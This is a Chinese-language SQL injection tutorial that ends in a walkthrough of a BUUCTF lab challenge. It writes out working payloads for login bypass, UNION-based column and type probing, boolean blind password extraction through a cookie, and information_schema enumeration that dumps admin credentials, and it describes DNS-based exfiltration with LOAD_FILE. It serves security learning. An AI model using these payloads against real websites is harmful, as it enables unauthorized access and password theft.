首先,sql注入可以通过url(应该都知道吧)链接、表单输入等途径实现,可以使用hackbar、burp等工具(sql语句不区分大小写)

sql语法

例如:现在有一个保存在数据库中的用户名密码表

叫allusers

选取表格里面的所有内容:

1
SELECT*FROM allusers

在上面的基础上,选取指定的用户名、密码:

1
WHERE username =‘admin’ AND password ='pass'

最简单的sql注入:

将上面的语句改为:

1
WHERE username =‘admin'’ AND password ='pass'

可见多加了一个 ‘ 此条语句报错,黑客通过错误代码,可以得知sql注点

若将语句改为这样,– 这个符号后面的被解释为注释,不执行

1
WHERE username =‘admin' -- ’ AND password ='pass'

注释不被执行,则可以直接通过用户名而不需要密码登陆账户,但是前提是得知道正确的用户名

若不知道正确的用户名,该怎么办?

由于

1
WHERE username =‘admin' -- ’ AND password ='pass'

此语句用 AND 连接,有个判断AND前后真假值的流程

若是用OR连接两个条件,并且确保有一个条件永真,则整条语句被判断为真

例如

1
WHERE username =‘admin' OR 1=1 -- ’ AND password ='pass'

sql里合并两个表格内容:

用UNION 连接俩个SELECT语句,例如

1
SELECT * FROM table1 UNION SELECT * FROM table2

在mysql中,UNION SELECT 后面可以不加指定表格名字,直接加 NULL

例如

1
SELECT * FROM table1 UNION SELECT NULL,NULL

后面加一个NULL,若是没有报错,则表明table1这个表格是一列,

后面加俩个NULL,若是没有报错,则表明table1这个表格是俩列,

因此,黑客可以一直用NULL测试,知道没有报错,从而得知table1 是个几列表格

假如我现在使用下面语句进行测试

1
SELECT * FROM table1 UNION SELECT **NULL,NULL**,NULL FROM allusers

意思是将allusers和table1进行合并(具体怎么并目前还没搞清楚)

但是,如果如果allusers的各个数据类型和table1不一致,则无法完成合并(UNION合并必须保证数据类型和列数一致,例如:数字和字符不是一个数据类型)

因此,还要对数据类型进行测试,例如

1
2
3
4
5
SELECT * FROM table1 UNION SELECT ‘1’ , NULL , NULL		报错

SELECT * FROM table1 UNION SELECT NULL , ’2‘, NULL 报错

SELECT * FROM table1 UNION SELECT NULL,NULL,'3' 通过

则可以得知,第三列为数字

注入:

在可注入的地方,加入 ’ 中止数据内容,并加入注释关键词:

1
SELECT * FROM table1 WHERE name='admin' --'

这时候,在中间注入UNION语句:

1
SELECT * FROM table1 WHERE name='admin'  UNION SELECT NULL,username,password FROM allusers --'

一般不加保护的数据库的网站,就会将合并新内容后的表展示在页面上,这时就可以知道账户密码了

要是有保护?该怎么办?

利用cookie!

cookie保存在数据库中

cookie向服务器发展出请求,数据库利用相关语句查找cookie:

cookie请求数据库:

1
cookie:cookieid=astljs

随后数据库查找存储的cookie:

1
SELECT cookieid FROM allusers WHERE cookieid='astljs'

此时,可以修改cookie的值:

1
SELECT cookieid FROM allusers WHERE cookieid='astljs' --‘

若页面未改变,则表示可以注入

如果我们故意让逻辑判错:

1
SELECT cookieid FROM allusers WHERE cookieid='astljs' AND 1=0  --‘

此时页面出错,可以得知查询出错时页面状态

此时便可以不断进行调试,根据页面状态判断调试结果的对错

利用SUBSTRING语句进行判断:

1
SELECT cookieid FROM allusers WHERE cookieid='astljs' AND SUBSTRING('password',1,1) ='m' --‘

此语句的意思是:判断password字符串的第一个字符是否为m

黑客可以将SUBSTRING里的第一个参数修改为一个查询语句,接下来就是不断发送请求,修改判断字符,爆破出密码:

1
2
3
4
5
SELECT cookieid FROM allusers WHERE cookieid='astljs' AND SUBSTRING(**(SELECT password FROM users WHERE user='admin')**,1,1) ='m' --‘

....

SELECT cookieid FROM allusers WHERE cookieid='astljs' AND SUBSTRING(**(SELECT password FROM users WHERE user='admin')**,1,1) ='z' --‘

这就是所谓的布尔注入,是一种盲注盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程为盲注

当网站不返回页面时该怎么办呢?

例如:向mysql注入LOAD_FILE()函数,给其提供域名,会触发DNS查询,如果在域名中动手脚,比如插入管理员密码查询语句,并且返回给黑客自己的服务器里,则可以间接得到管理员密码。

针对上面的教学,遇到实战问题:

1,在查表有几列时,不知道表的名字怎么办?

注意:由于sql注入可以通过url链接进行,下面实例利可用hackbar进行,所写的sql语句是直接加在相关url链接后面的,例如:

直接用order by

例如:

1
order by 2

后面的数字可以自己更改来测试,此语句:按照查询结果的第三个列进行排序,实际用处就是判断相应的表的列存在与否,用1、2、3……依次试验,直到找到未响应的一个

2,如何判断显位点?

当我们找到注入点后,想找到注入后哪里会回显我的需要的信息

举个例子

1
id=-2 union select 1,2

具体来说,”id=-1”是一个无效的条件,它被用来绕过原始查询语句中的WHERE子句。”union select 1,2”是一个新的SELECT语句,它将查询的结果与原始查询的结果进行联合。在这种情况下,新查询语句返回的结果是两个值1和2。

下面的”id“是测试网址中的参数,由于其目的是制造无效条件,在其他不含id这个参数的网站中,只需要同样制造无效条件即可,下同

3,如何获取数据库名称?

例如:

1
id=-1 union select 1,database()

“id=-1”是注入的查询条件,通常是一个无效的条件,它将会被忽略,因为它不符合任何实际数据的过滤条件。

“union”用于将两个或多个SELECT查询结果合并成一个结果集。

“select 1”表示第一个查询结果为1。

“database()”表示查询当前数据库的名称。在这个查询中,它返回的是当前数据库的名称,通常是用于确定数据库的名称,以便后续攻击。

4,得到数据库名字后,如何获取数据表的信息?

1
id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='news')

“news”是实例中的数据库名称

“id=-1”是注入的查询条件,通常是一个无效的条件,它将会被忽略,因为它不符合任何实际数据的过滤条件。

“union”用于将两个或多个SELECT查询结果合并成一个结果集。

“select 1”表示第一个查询结果为1。

1
"(select group_concat(table_name) from information_schema.tables where 

table_schema=’news’)”是一个子查询,它返回包含指定数据库中所有表名称的逗号分隔字符串。在这个查询中,它返回的是当前数据库中所有表名称的逗号分隔字符串。

此步可得知数据表信息,例如数据表名字,得到数据表名字后,可进一步读取数据表中的字段:

1
id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin')

“admin”、”contents”是此实例中的表的名称

实例中得到字段名称id、usernames、password(未放示意图

获取usernames的信息:

1
id=-1 union select 1,(select group_concat(username) from admin)

获取password信息:

1
id=-1 union select 1,(select group_concat(password) from admin)

得到密码!

本实例地址:BUUCTF在线评测 (buuoj.cn) 里的basic板块下的BBUU SQL COURSE 1 1题目